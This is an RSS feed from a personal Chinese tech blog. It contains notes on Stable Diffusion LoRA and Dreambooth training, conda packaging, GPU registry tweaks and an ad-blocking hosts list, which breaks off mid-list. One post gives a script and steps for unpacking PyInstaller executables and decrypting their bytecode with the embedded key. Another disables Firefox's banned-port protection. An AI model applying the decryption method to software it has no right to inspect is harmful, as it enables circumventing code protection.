熊酱杂记https://www.qrv5.net/Sat, 08 Jul 2023 08:58:51 GMTPyRSS2Gen-1.1.0http://blogs.law.harvard.edu/tech/rsslora 微调stable diffusion模型https://www.qrv5.net/p33<h2>图片准备:</h2><p>用SD-webui的预处理,不需要修改尺寸。然后批量添加名字到txt<br /></p><h2>代码下载:</h2><p>git clone --recurse-submodules <a href="https://github.com/Akegarasu/lora-scripts" target="_blank">https://github.com/Akegarasu/lora-scripts</a><a href="https://github.com/Akegarasu/lora-scripts" target="_blank"></a></p><p>核心代码:https://github.com/kohya-ss/sd-scripts.git<br /></p><h2>train4novenv.ps1 文件:</h2><blockquote><p># LoRA train script by @Akegarasu<br />mkdir output<br /><br /># Train data path | 设置训练用模型、图片<br />$pretrained_model = &quot;master\\Chilloutmix-Ni.safetensors&quot; # base model path | 底模路径<br />$train_data_dir = &quot;train_user\\qq\\in2clip&quot; # train dataset path | 训练数据集路径<br />$reg_data_dir = &quot;&quot; # directory for regularization images | 正则化数据集路径,默认不使用正则化图像。<br /><br /># Network settings | 网络设置<br />$network_module = &quot;networks.lora&quot; # 在这里将会设置训练的网络种类,默认为 networks.lora 也就是 LoRA 训练。如果你想训练 LyCORIS(LoCon、LoHa) 等,则修改这个值为 lycoris.kohya<br />$network_weights = &quot;&quot; # pretrained weights for LoRA network | 若需要从已有的 LoRA 模型上继续训练,请填写 LoRA 模型路径。<br />$network_dim = 128 # network dim | 常用 4~128,不是越大越好<br />$network_alpha = 64 # network alpha | 常用与 network_dim 相同的值或者采用较小的值,如 network_dim的一半 防止下溢。默认值为 1,使用较小的 alpha 需要提升学习率。<br /><br /># Train related params | 训练相关参数<br />$resolution = &quot;640,640&quot; # image resolution w,h. 图片分辨率,宽,高。支持非正方形,但必须是 64 倍数。<br />$batch_size = 3 # batch size<br />$max_train_epoches = 100 # max train epoches | 最大训练 epoch<br />$save_every_n_epochs = 10 # save every n epochs | 每 N 个 epoch 保存一次<br /><br />$train_unet_only = 0 # train U-Net only | 仅训练 U-Net,开启这个会牺牲效果大幅减少显存使用。6G显存可以开启<br />$train_text_encoder_only = 0 # train Text Encoder only | 仅训练 文本编码器<br /><br />$noise_offset = 0 # noise offset | 在训练中添加噪声偏移来改良生成非常暗或者非常亮的图像,如果启用,推荐参数为 0.1<br />$keep_tokens = 0 # keep heading N tokens when shuffling caption tokens | 在随机打乱 tokens 时,保留前 N 个不变。<br /><br /># Learning rate | 学习率<br />$lr = &quot;1.2e-5&quot; #&quot;1e-4&quot;<br />$lr /= 3 # 最佳效果使用DAdaptation跑出的学习率除以三,然后用Lion跑,虽然loss值不是最低,但是效果是最好,最高可以调整到除以二,loss值低,效果也可以。<br />$unet_lr = $lr<br />$text_encoder_lr = $lr / 2<br />$lr_scheduler = &quot;cosine_with_restarts&quot; # &quot;linear&quot;, &quot;cosine&quot;, &quot;cosine_with_restarts&quot;, &quot;polynomial&quot;, &quot;constant&quot;, &quot;constant_with_warmup&quot;<br />$lr_warmup_steps = 0 # warmup steps | 仅在 lr_scheduler 为 constant_with_warmup 时需要填写这个值<br />$lr_restart_cycles = 1 # cosine_with_restarts restart cycles | 余弦退火重启次数,仅在 lr_scheduler 为 cosine_with_restarts 时起效。<br /><br /># Output settings | 输出设置<br />$output_name = &quot;qq&quot; # output model name | 模型保存名称<br />$save_model_as = &quot;safetensors&quot; # model save ext | 模型保存格式 ckpt, pt, safetensors<br /><br /># 其他设置<br />$min_bucket_reso = 256 # arb min resolution | arb 最小分辨率<br />$max_bucket_reso = 1024 # arb max resolution | arb 最大分辨率<br />$persistent_data_loader_workers = 0 # persistent dataloader workers | 容易爆内存,保留加载训练集的worker,减少每个 epoch 之间的停顿<br />$clip_skip = 1 # clip skip | 玄学 一般用 2 三次元用1 <br /><br /># 优化器设置<br />$use_8bit_adam = 0 # use 8bit adam optimizer | 使用 8bit adam 优化器节省显存,默认启用。部分 10 系老显卡无法使用,修改为 0 禁用。<br />$use_lion = 1 # use lion optimizer | 使用 Lion 优化器<br /><br /># LyCORIS 训练设置<br />$algo = &quot;lora&quot; # LyCORIS network algo | LyCORIS 网络算法 可选 lora、loha。lora即为locon<br />$conv_dim = 4 # conv dim | 类似于 network_dim,推荐为 4<br />$conv_alpha = 4 # conv alpha | 类似于 network_alpha,可以采用与 conv_dim 一致或者更小的值<br /><br /># ============= DO NOT MODIFY CONTENTS BELOW | 请勿修改下方内容 =====================<br /># Activate python venv<br />#..\python-kohyass\vwin\Scripts\activate<br /><br /># 打印学习率<br />&quot;lr={0:0.00e+0}&nbsp; unet_lr={1:0.00e+0}&nbsp; text_encoder_lr={2:0.00e+0}&quot; -f $lr,$unet_lr,$text_encoder_lr<br /><br />$Env:HF_HOME = &quot;huggingface&quot;<br />$ext_args = [System.Collections.ArrayList]::new()<br /><br />if ($train_unet_only) {<br />&nbsp; [void]$ext_args.Add(&quot;--network_train_unet_only&quot;)<br />}<br /><br />if ($train_text_encoder_only) {<br />&nbsp; [void]$ext_args.Add(&quot;--network_train_text_encoder_only&quot;)<br />}<br /><br />if ($network_weights) {<br />&nbsp; [void]$ext_args.Add(&quot;--network_weights=&quot; + $network_weights)<br />}<br /><br />if ($reg_data_dir) {<br />&nbsp; [void]$ext_args.Add(&quot;--reg_data_dir=&quot; + $reg_data_dir)<br />}<br /><br />if ($use_8bit_adam) {<br />&nbsp; [void]$ext_args.Add(&quot;--use_8bit_adam&quot;)<br />}<br /><br />if ($use_lion) {<br />&nbsp; [void]$ext_args.Add(&quot;--use_lion_optimizer&quot;)<br />}<br /><br />if ($persistent_data_loader_workers) {<br />&nbsp; [void]$ext_args.Add(&quot;--persistent_data_loader_workers&quot;)<br />}<br /><br />if ($network_module -eq &quot;lycoris.kohya&quot;) {<br />&nbsp; [void]$ext_args.Add(&quot;--network_args&quot;)<br />&nbsp; [void]$ext_args.Add(&quot;conv_dim=$conv_dim&quot;)<br />&nbsp; [void]$ext_args.Add(&quot;conv_alpha=$conv_alpha&quot;)<br />&nbsp; [void]$ext_args.Add(&quot;algo=$algo&quot;)<br />}<br /><br />if ($noise_offset) {<br />&nbsp; [void]$ext_args.Add(&quot;--noise_offset=$noise_offset&quot;)<br />}<br /><br /># run train<br />accelerate launch --num_cpu_threads_per_process=12 &quot;./sd-scripts/train_network.py&quot; `<br />&nbsp; --enable_bucket `<br />&nbsp; --pretrained_model_name_or_path=$pretrained_model `<br />&nbsp; --train_data_dir=$train_data_dir `<br />&nbsp; --output_dir=&quot;./output&quot; `<br />&nbsp; --logging_dir=&quot;./logs&quot; `<br />&nbsp; --resolution=$resolution `<br />&nbsp; --network_module=$network_module `<br />&nbsp; --max_train_epochs=$max_train_epoches `<br />&nbsp; --learning_rate=$lr `<br />&nbsp; --unet_lr=$unet_lr `<br />&nbsp; --text_encoder_lr=$text_encoder_lr `<br />&nbsp; --lr_scheduler=$lr_scheduler `<br />&nbsp; --lr_warmup_steps=$lr_warmup_steps `<br />&nbsp; --lr_scheduler_num_cycles=$lr_restart_cycles `<br />&nbsp; --network_dim=$network_dim `<br />&nbsp; --network_alpha=$network_alpha `<br />&nbsp; --output_name=$output_name `<br />&nbsp; --train_batch_size=$batch_size `<br />&nbsp; --save_every_n_epochs=$save_every_n_epochs `<br />&nbsp; --mixed_precision=&quot;fp16&quot; `<br />&nbsp; --save_precision=&quot;fp16&quot; `<br />&nbsp; --seed=&quot;2333&quot; `<br />&nbsp; --cache_latents `<br />&nbsp; --clip_skip=$clip_skip `<br />&nbsp; --prior_loss_weight=1 `<br />&nbsp; --max_token_length=225 `<br />&nbsp; --caption_extension=&quot;.txt&quot; `<br />&nbsp; --save_model_as=$save_model_as `<br />&nbsp; --min_bucket_reso=$min_bucket_reso `<br />&nbsp; --max_bucket_reso=$max_bucket_reso `<br />&nbsp; --keep_tokens=$keep_tokens `<br />&nbsp; --shuffle_caption $ext_args --xformers <br />Write-Output &quot;Train finished&quot;<br />Read-Host | Out-Null ;</p></blockquote><p><br /></p>https://www.qrv5.net/p33Sat, 08 Jul 2023 08:58:51 GMTDreambooth on Windows 12G显存3060快速训练(fine tune) Stable diffusuionhttps://www.qrv5.net/p32<p>Dreambooth可以根据少至几张,多至无穷张图片,来精调stable diffusion的模型,训练效果优于embedding和hypernetwork。原训练方法需要24G现存,经过优化后的脚本可以在12G的3060上训练,并且本文将在windows使用的方法记录下来,且无需wsl。</p><p>本文使用CCRcmcpe/diffusers分支,支持arb变分辨率训练,无需将图片裁剪至512*512,可直接将任意比例的原图拿来训练。</p><p>可以训练stable diffusion 1.5,naifu,anything3.0等所有模型。<br /></p><p>首先是环境,安装python3.10,建议使用miniconda的环境。一定要python3.10。下面二选一</p><blockquote><p>miniconda:<a href="https://docs.conda.io/en/latest/miniconda.html" target="_blank">https://docs.conda.io/en/latest/miniconda.html</a></p><p>官方python:<a href="https://www.python.org/downloads/" target="_blank">https://www.python.org/downloads/</a></p></blockquote><br /><p>进入python的cmd环境,构建一个虚拟环境。</p><blockquote><p>python.exe -m pip install --upgrade pip<br /></p><p>pip install virtualenv</p><p>virtualenv vwin</p><p>vwin\Scripts\activate<br /></p></blockquote><p>下载训练脚本</p><blockquote><p>https://github.com/CCRcmcpe/diffusers/archive/748f64e47cd6fe3ebe5e6fe7011ee90c5a672fd3.zip</p></blockquote><p>解压到diffusers目录,然后进入目录,安装依赖</p><blockquote><p>cd diffusers<br />pip install -e .<br />cd examples\dreambooth<br />pip install -U -r requirements.txt<br />pip install OmegaConf<br />pip install pytorch_lightning<br />pip install einops<br />pip install bitsandbytes==0.34</p><p>pip install torch==1.12.1+cu116 torchvision==0.13.1+cu116 --extra-index-url https://download.pytorch.org/whl/cu116<br /></p></blockquote><p>魔改bitsandbytes库让他支持windows。</p><blockquote><p>下载:<a href="https://github.com/DeXtmL/bitsandbytes-win-prebuilt/archive/refs/heads/main.zip" target="_blank">https://github.com/DeXtmL/bitsandbytes-win-prebuilt/archive/refs/heads/main.zip</a></p><p>将libbitsandbytes_cuda116.dll 文件手动拷贝到工作目录下的 venv_diffusers\Lib\site-packages\bitsandbytes 中,位于 libbitsandbytes_cuda116.so 的旁边。</p><p>将 cextension.py: <a href="https://pastebin.com/jjgxuh8V" target="_blank" rel="nofollow noopener noreferrer">https://pastebin.com/jjgxuh8V</a> 覆盖到vwin\Lib\site-packages\bitsandbytes目录。</p><p>将 main.py: <a href="https://pastebin.com/BsEzpdpw" target="_blank" rel="nofollow noopener noreferrer">https://pastebin.com/BsEzpdpw</a> 覆盖到vwin\Lib\site-packages\bitsandbytes\cuda_setup目录。</p></blockquote><p>安装xformers。</p><blockquote><p>下载:<a href="https://github.com/C43H66N12O12S2/stable-diffusion-webui/releases/download/f/xformers-0.0.14.dev0-cp310-cp310-win_amd64.whl" target="_blank">https://github.com/C43H66N12O12S2/stable-diffusion-webui/releases/download/f/xformers-0.0.14.dev0-cp310-cp310-win_amd64.whl</a></p><p>pip install <a href="https://github.com/C43H66N12O12S2/stable-diffusion-webui/releases/download/f/xformers-0.0.14.dev0-cp310-cp310-win_amd64.whl" target="_blank">xformers-0.0.14.dev0-cp310-cp310-win_amd64.whl</a></p></blockquote><p>设置accelerate<br /></p><blockquote><p>accelerate config<br /><br />In which compute environment are you running? ([0] This machine, [1] AWS (Amazon SageMaker)): 0<br />Which type of machine are you using? ([0] No distributed training, [1] multi-CPU, [2] multi-GPU, [3] TPU [4] MPS): 0<br />Do you want to run your training on CPU only (even if a GPU is available)? [yes/NO]:NO<br />Do you want to use DeepSpeed? [yes/NO]:NO<br />Do you wish to use FP16 or BF16 (mixed precision)? [NO/fp16/bf16]: fp16<br /></p></blockquote><p>大功告成,可以准备数据集,开始训练了。下面脚本的具体路径根据实际情况修改。在vwin的目录下执行。</p><p>首次执行可能需要将ckpt文件拆包。</p><blockquote><p>下载模型描述:https://huggingface.co/runwayml/stable-diffusion-v1-5/blob/main/v1-inference.yaml<br /></p><p>python diffusers\scripts\convert_original_stable_diffusion_to_diffusers.py&nbsp; --checkpoint_path model.ckpt&nbsp; --original_config_file v1-inference.yaml&nbsp; --scheduler_type ddim&nbsp; --dump_path models/diffusers_model<br /></p></blockquote><p>以后每次执行下面的命令来训练。LR(lerning rate)通常设置1e-6到5e-6。</p><p>根据经验,LR=2e-6,100张图训练40epoch或4000步左右模型效果最佳,训练过多会过拟合。<br /></p><blockquote><p>set MODEL_NAME=&quot;models/diffusers_model&quot;<br />set INSTANCE_DIR=&quot;your_dataset_image_folder&quot;<br />set OUTPUT_DIR=&quot;where_do_you_want_to_generate_your_model&quot;<br />set INSTANCE_PROMPT=&quot;prompt of your dataset&quot;<br />set SAVE_SAMPLE_PROMPT=&quot;What prompt to generate samples&quot;<br />set WANDB_PROJECT=&quot;DB-SD1.5&quot;<br />set LR=2e-6<br />set EPOCH=100<br />set SAVE_INTERVAL=10<br />set BATCH=2<br /><br />accelerate launch diffusers\examples\dreambooth\train_dreambooth.py --pretrained_model_name_or_path=%MODEL_NAME% --pretrained_vae_name_or_path=%MODEL_NAME%\vae&nbsp; --instance_data_dir=%INSTANCE_DIR% --output_dir=%OUTPUT_DIR% --instance_prompt=%INSTANCE_PROMPT% --resolution=512 --train_batch_size=%BATCH% --gradient_accumulation_steps=1 --learning_rate=%LR% --lr_scheduler=&quot;constant&quot; --lr_warmup_steps=0 --num_train_epochs=%EPOCH%&nbsp; --save_interval_epochs=%SAVE_INTERVAL% --mixed_precision=&quot;fp16&quot; --optimizer=&quot;adamw_8bit&quot; --wandb --wandb_project=%WANDB_PROJECT% --use_aspect_ratio_bucket --not_cache_latents --save_unet_half --seed=23333 --save_sample_prompt=%SAVE_SAMPLE_PROMPT% --n_save_sample=1<br /></p></blockquote><p>如果能够训练,但在保存后爆显存,可能是因为生成预览图的时候显存不足。可不生成预览。修改:</p><blockquote><p>diffusers\examples\dreambooth\train_dreambooth.py</p><p>563行 if save_sample:<br /></p><p>改为 if save_sample and args.seed!=23333:<br /></p></blockquote><p>训练完打包ckpt:</p><blockquote><p>python diffusers\scripts\convert_diffusers_to_original_stable_diffusion.py&nbsp; --model_path models/resultModel&nbsp; --checkpoint_path result.ckpt&nbsp; --half<br /></p></blockquote><p>我一般批量:</p><blockquote><p>set MODEL_PATH=JFTBO60<br />set OUTPUT_PATH=E:\model<br />set MODEL_NAME=trained_<br />set START=541<br />set END=5400<br /><br />set F1=%START%<br />set /a F2=%START%-1<br />set /a F3=%END%<br /><br />for /l %%i in (%F1%,%F2%,%F3%) do python diffusers\scripts\convert_diffusers_to_original_stable_diffusion.py&nbsp; --model_path %MODEL_PATH%\%%i --checkpoint_path %OUTPUT_PATH%\%MODEL_NAME%%%i.ckpt --unet_half<br />python diffusers\scripts\convert_diffusers_to_original_stable_diffusion.py&nbsp; --model_path %OUTPUT_PATH%\%END% --checkpoint_path %OUTPUT_PATH%\%MODEL_NAME%%END%.ckpt --unet_half<br />pause<br /></p></blockquote><p>生成的ckpt就可以用了。如果在AUTOMATIC1111/stable-diffusion-webui中载入生成的图片全是花的,有可能时vae未载入。解决方法挑选一个:</p><blockquote><p>1.先载入原模型再载入训练的模型</p><p>2.复制(或者hard link)原模型的vae,修改名称和新模型一样</p><p>3.webui设置中指定载入的vae<br /></p></blockquote><p>参考:</p><p>Dreambooth on Windows :https://gist.github.com/Summersoff/70861d757a40c153c5802dc8c4ed68c0<br /></p><p>bitsandbytes issue:https://github.com/TimDettmers/bitsandbytes/issues/30#issuecomment-1257676341<br /></p><p><br /></p>https://www.qrv5.net/p32Sun, 11 Dec 2022 02:36:05 GMTpython 解包exe简略流程https://www.qrv5.net/p31<p>1.用tool的pyinstxtractor.py xxx.exe解包 工具地址 https://github.com/extremecoders-re/pyinstxtractor<br />2.打开16进制修改工具,如ultraedit,将主文件参考struct.pyc添加/修改头,通常为 b&quot;\x42\x0D\x0D\x0A\x00\x00\x00\x00\x70\x79\x69\x30\x10\x01\x00\x00&quot;<br />3.用 uncompyle6 -o . xx.pyc 还原pyc,可pip安装<br />4.如加密了,先用上述方式还原 pyimod00_crypto_key.pyc ,找到密码key<br />&nbsp;&nbsp; &nbsp;参考decrypt_pyc.py 还原待解密的pyc,再uncompyle6还原pyc</p><p><br /></p><blockquote><p>import zlib<br />import tinyaes<br /><br />CHIPHER_BLOCK_SIZE = 16<br /><br />key = b&quot;12345&quot;<br />pyc_header = b&quot;\x42\x0D\x0D\x0A\x00\x00\x00\x00\x70\x79\x69\x30\x10\x01\x00\x00&quot;<br />file_input=&#039;PYZ-00.pyz_extracted/crackme.pyc.encrypted&#039;<br /><br />def dec_file(filename):<br />&nbsp;&nbsp;&nbsp; foutput=filename.strip(&#039;encrypted&#039;)[:-1]<br />&nbsp;&nbsp;&nbsp; with open(filename, &quot;rb&quot;) as en_f:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with open(foutput, &quot;wb&quot;) as de_f:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; origin_encrypted_data = en_f.read()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Decrypt program path: https://github.com/pyinstaller/pyinstaller/blob/faee2a99deae6c9f8e1e67606a5f43af974e3fd4/PyInstaller/loader/pyimod02_archive.py#L264<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cipher = tinyaes.AES(key, origin_encrypted_data[:CHIPHER_BLOCK_SIZE])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; decrypted_data = cipher.CTR_xcrypt_buffer(origin_encrypted_data[CHIPHER_BLOCK_SIZE:])<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; plaintext = zlib.decompress(decrypted_data)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; de_f.write(pyc_header)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; de_f.write(plaintext)<br />&nbsp;&nbsp;&nbsp; print(f&#039;{foutput} Done!&#039;)<br /><br />if __name__ == &quot;__main__&quot;:<br />&nbsp;&nbsp;&nbsp; dec_file(file_input)<br />&nbsp;&nbsp;&nbsp; print(&#039;All Done!&#039;)<br /></p></blockquote>https://www.qrv5.net/p31Thu, 13 Mar 2025 07:43:58 GMTfirefox 浏览奇怪端口网站https://www.qrv5.net/p30<p>访问奇怪端口的网站,firefox报错:此网址使用了一个通常用于网络浏览以外目的的端口。出于安全原因,Firefox 取消了该请求。</p><p>解决:</p><p>访问 <a href="http://about:config" target="_blank">about:config</a></p><p>搜索 network.security.ports.banned.override</p><p>新建字符串,输入 <span><span>0-65535</span></span></p><p><span><span>点勾确认。<br /></span></span></p>https://www.qrv5.net/p30Sat, 01 Oct 2022 02:32:06 GMTconda打包运行环境https://www.qrv5.net/p29<p>参考自 <a href="https://www.anaconda.com/blog/moving-conda-environments" target="_blank">https://www.anaconda.com/blog/moving-conda-environments</a></p><p>安装打包软件<br /></p><pre>conda install -c conda-forge conda-pack</pre><p>或者</p><pre>pip install conda-pack</pre><p>然后打包</p><pre>conda pack -n my_env -o out_name.tar.gz</pre><p>打包文件解压到目录就可以了。有时候需要激活环境才能运行,大部分时候可以直接使用python</p><pre>source my_env/bin/activate</pre><p>就酱。<br /></p><p></p><p></p>https://www.qrv5.net/p29Tue, 06 Sep 2022 01:57:12 GMTp106-90魔改 简要记录https://www.qrv5.net/p28<p>删掉驱动,安装417.22版驱动</p><p>打开regedit,找到 [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000-0009(具体看自己注册表)] </p><p>找到adapter type这个键,键值改4或者0 </p><p>另一个键EnableMsHybrid的值改为1</p><p>设备管理器里,把P106禁用,然后再启用,重启之后 NVIDIA驱动面板就可以像笔记本那样打开了 并且全局设置里,可以切换集成显卡和高性能显卡。<br /></p>https://www.qrv5.net/p28Sun, 25 Oct 2020 12:13:48 GMT微信:加载小程序浏览器组件失败 解决方案https://www.qrv5.net/p27<p>微信无法加载小程序问题,报加载小程序浏览器组件失败。</p><p>这个问题存在于play版微信,使用miui双开程序后分身打开小程序报错。</p><p>解决:</p><p>将 /android/obb/com.tencent.mm 下的文件复制到分身中对应位置。<br /></p>https://www.qrv5.net/p27Mon, 23 Mar 2020 06:59:21 GMT解决小米电视广告https://www.qrv5.net/p26<p>127.0.0.1 localhost<br /><br />0.0.0.0 XiaoQiang<br /><br />0.0.0.0 api.ad.xiaomi.com<br />0.0.0.0 sdkconfig.ad.xiaomi.com<br />0.0.0.0 ad.mi.com<br />0.0.0.0 ad.xiaomi.com<br />0.0.0.0 ad1.xiaomi.com<br /><br />0.0.0.0 adv.sec.miui.com<br />0.0.0.0 test.ad.xiaomi.com<br />0.0.0.0 new.api.ad.xiaomi.com<br /><br />0.0.0.0 cdn.ad.xiaomi.com<br />0.0.0.0 e.ad.xiaomi.com<br />0.0.0.0 test.new.api.ad.xiaomi.com<br /><br />0.0.0.0 ssp.ad.xiaomi.com<br />0.0.0.0 o2o.api.xiaomi.com<br /><br /># tcpdump<br /><br />0.0.0.0 api.cupid.ptqy.gitv.tv<br /><br /># others<br /><br />0.0.0.0 stat.pandora.xiaomi.com<br />0.0.0.0 upgrade.mishop.pandora.xiaomi.com<br />0.0.0.0 logonext.tv.kuyun.com<br />0.0.0.0 config.kuyun.com<br />0.0.0.0 api.io.mi.com<br />0.0.0.0 mishop.pandora.xiaomi.com<br />0.0.0.0 dvb.pandora.xiaomi.com<br />0.0.0.0 de.pandora.xiaomi.com<br />0.0.0.0 data.mistat.xiaomi.com<br />0.0.0.0 jellyfish.pandora.xiaomi.com<br />#0.0.0.0 gallery.pandora.xiaomi.com<br />0.0.0.0 o2o.api.xiaomi.com<br />0.0.0.0 bss.pandora.xiaomi.com<br />0.0.0.0 gvod.aiseejapp.atianqi.com<br />#屏蔽自动更新和安装有品<br />0.0.0.0 package.cdn.pandora.xiaomi.com<br />0.0.0.0 package.box.xiaomi.com<br />0.0.0.0 ota.cdn.pandora.xiaomi.com<br /><br />0.0.0.0 auth.api.gitv.tv<br />0.0.0.0 misc.pandora.xiaomi.com<br />0.0.0.0 tvapi.kuyun.com<br />0.0.0.0 tv.aiseet.atianqi.com<br />0.0.0.0 vv.play.aiseet.atianqi.com<br />0.0.0.0 gallery.pandora.xiaomi.com<br />0.0.0.0 alog.umeng.com<br />0.0.0.0 pandora.mi.com<br />0.0.0.0 tvapi.kuyun.com<br />0.0.0.0 assistant.pandora.xiaomi.com<br />0.0.0.0 tracking.miui.com<br />0.0.0.0 misc.pandora.xiaomi.com<br />0.0.0.0 omgmta.play.aiseet.atianqi.com<br />0.0.0.0 starfish.pandora.xiaomi.com<br />0.0.0.0 misc.in.duokanbox.com<br /><br />0.0.0.0 adeng.hpplay.cn<br />0.0.0.0 adcdn.hpplay.cn<br />0.0.0.0 sl.hpplay.cn<br />0.0.0.0 rp.hpplay.cn<br /><br />0.0.0.0 t7z.cupid.iqiyi.com<br />0.0.0.0 livew.l.qq.com<br />0.0.0.0 b.netcheck.gallery.pandora.xiaomi.com<br />0.0.0.0 sdkconfig.ad.intl.xiaomi.com<br />0.0.0.0 ad.doubleclick.net<br />0.0.0.0 v.admaster.com.cn<br />0.0.0.0 g.dtv.cn.miaozhan.com<br /><br /><br />0.0.0.0 hub5btmain.sandai.net<br />0.0.0.0 hub5emu.sandai.net<br />0.0.0.0 upgrade.xl9.xunlei.com<br />0.0.0.0 staging.ai.api.xiaomi.com<br />0.0.0.0 79t2.admaster.com.cn<br />0.0.0.0 secure-chn.imrworldwide.com<br />0.0.0.0 www.miaozhen.com<br />0.0.0.0 alert.kuyun.com<br />0.0.0.0 adp.atm.youku.com<br />0.0.0.0 iyes.youku.com<br />0.0.0.0 m.atm.youku.com<br />0.0.0.0 mf.atm.youku.com<br />0.0.0.0 mobilemsg.youku.com<br />0.0.0.0 push.m.youku.com<br />0.0.0.0 bsv.atm.youku.com<br />0.0.0.0 count.atm.youku.com<br />0.0.0.0 dmapp.youku.com<br />0.0.0.0 html.atm.youku.com<br />0.0.0.0 ipm.atm.youku.com<br />0.0.0.0 myes.youku.com<br />0.0.0.0 r.l.youku.com<br />0.0.0.0 service.danmu.youku.com<br />0.0.0.0 statis.mobile.youku.com<br />0.0.0.0 v2html.atm.youku.com<br />0.0.0.0 val.atm.youku.com<br />0.0.0.0 valb.atm.youku.com<br />0.0.0.0 valc.atm.youku.com<br />0.0.0.0 valf.atm.youku.com<br />0.0.0.0 valp.atm.youku.com<br />0.0.0.0 valt.atm.youku.com<br />0.0.0.0 ems.youku.com<br />0.0.0.0 m2.da.mgtv.com<br />0.0.0.0 mobile2.da.mgtv.com<br />0.0.0.0 as.mgtv.com<br />0.0.0.0 cdn.cmop.mgtv.com<br />0.0.0.0 cmop.mgtv.com<br />0.0.0.0 imgaliyun.res.mgtv.com<br />0.0.0.0 mobaliyun.res.mgtv.com<br />0.0.0.0 mobile.da.mgtv.com<br />0.0.0.0 pc.da.mgtv.com<br />0.0.0.0 pc1.da.mgtv.com<br />0.0.0.0 pcvideoaliyun.titan.mgtv.com<br />0.0.0.0 pcvideoyd.titan.mgtv.com<br />0.0.0.0 pcweb-v1.log.mgtv.com<br />0.0.0.0 pcweb.v1.mgtv.com<br />0.0.0.0 py.da.mgtv.com<br />0.0.0.0 v1-play.log.mgtv.com<br />0.0.0.0 v2.da.mgtv.com<br />0.0.0.0 v2.log.mgtv.com<br />0.0.0.0 web.da.mgtv.com<br />0.0.0.0 x.da.mgtv.com<br />0.0.0.0 y.da.mgtv.com<br />0.0.0.0 imgaliyun.da.mgtv.com<br /><br />0.0.0.0 cdn.ad.xiaomi.com<br />0.0.0.0 img.gwwzp.com<br />0.0.0.0 img.baotoushanghui.com<br />0.0.0.0 m1g816.nokia333.com<br />0.0.0.0 img.aahtek.com<br />0.0.0.0 adcontent.videoegg.com<br />0.0.0.0 core.videoegg.com<br />0.0.0.0 beacon.videoegg.com<br />0.0.0.0 amconf.videoegg.com<br />0.0.0.0 ads.ethicalads.net<br />0.0.0.0 ethicalads.net<br />0.0.0.0 ad.ethicalads.net<br />0.0.0.0 www.adtaily.com<br />0.0.0.0 static.adtaily.com<br />0.0.0.0 assets.adtaily.com<br />0.0.0.0 aos.gw.youmi.net<br />0.0.0.0 stat.gw.youmi.net<br />0.0.0.0 banner.img.static.youmi.net<br />0.0.0.0 ads.youmi.net<br />0.0.0.0 aos.wall.youmi.net<br />0.0.0.0 r.youmi.net<br />0.0.0.0 bea4.v.fwmrm.net<br />0.0.0.0 m2.fwmrm.net<br />0.0.0.0 2a86.v.fwmrm.net<br />0.0.0.0 2915dc.v.fwmrm.net<br />0.0.0.0 1c6e2.v.fwmrm.net<br />0.0.0.0 adm.fwmrm.net<br />0.0.0.0 ad.bannerconnect.net<br />0.0.0.0 bannerconnect.net<br />0.0.0.0 ym.bannerconnect.net<br />0.0.0.0 content.bannerconnect.net<br />0.0.0.0 sroomafp.allyes.com<br />0.0.0.0 yeskyafp.allyes.com<br />0.0.0.0 smarttrade.allyes.com<br />0.0.0.0 eastmoney.allyes.com<br />0.0.0.0 uuseeafp.allyes.com<br />0.0.0.0 bokee.allyes.com<br />0.0.0.0 allyes.com<br />0.0.0.0 demoafp.allyes.com<br />0.0.0.0 taobaoafp.allyes.com<br />0.0.0.0 tom.allyes.com<br />0.0.0.0 g2.gumgum.com<br />0.0.0.0 gonzogrape.gumgum.com<br />0.0.0.0 c.gumgum.com<br />0.0.0.0 ads.gumgum.com<br />0.0.0.0 dashboard.gumgum.com<br />0.0.0.0 cdn.gumgum.com<br />0.0.0.0 ads.lfstmedia.com<br />0.0.0.0 ad.lfstmedia.com<br />0.0.0.0 pix.lfstmedia.com<br />0.0.0.0 track.lfstmedia.com<br />0.0.0.0 www.lfstmedia.com<br />0.0.0.0 lfstmedia.com<br />0.0.0.0 app.lfstmedia.com<br />0.0.0.0 tie.iprom.net<br />0.0.0.0 central.iprom.net<br />0.0.0.0 ipromsi.iprom.net<br />0.0.0.0 adserver.iprom.net<br />0.0.0.0 mobi.pubsage.com<br />0.0.0.0 trc.pubsage.com<br />0.0.0.0 ads.exoclick.com<br />0.0.0.0 custom.exoclick.com<br />0.0.0.0 main.exoclick.com<br />0.0.0.0 exoclick.com<br />0.0.0.0 syndication.exoclick.com<br />0.0.0.0 delivery7.trafficjunky.net<br />0.0.0.0 trafficjunky.net<br />0.0.0.0 tracking.trafficjunky.net<br />0.0.0.0 engine.adzerk.net<br />0.0.0.0 engine2.adzerk.net<br />0.0.0.0 adzerk.net<br />0.0.0.0 static.adzerk.net<br />0.0.0.0 data.mobclix.com<br />0.0.0.0 mobclix.com<br />0.0.0.0 ads.mobclix.com<br />0.0.0.0 s.mobclix.com<br />0.0.0.0 ns1.247media.com<br />0.0.0.0 www.247media.com<br />0.0.0.0 247media.com<br />0.0.0.0 adtwirl.com<br />0.0.0.0 a.adtwirl.com<br />0.0.0.0 www.adtwirl.com<br />0.0.0.0 ads.metromanager.com<br />0.0.0.0 mt.unrealmarketing.com<br />0.0.0.0 ts.unrealmarketing.com<br />0.0.0.0 img.unrealmarketing.com<br />0.0.0.0 adserver1.journalregister.com<br />0.0.0.0 clickaider.com<br />0.0.0.0 hit.dev.clickaider.com<br />0.0.0.0 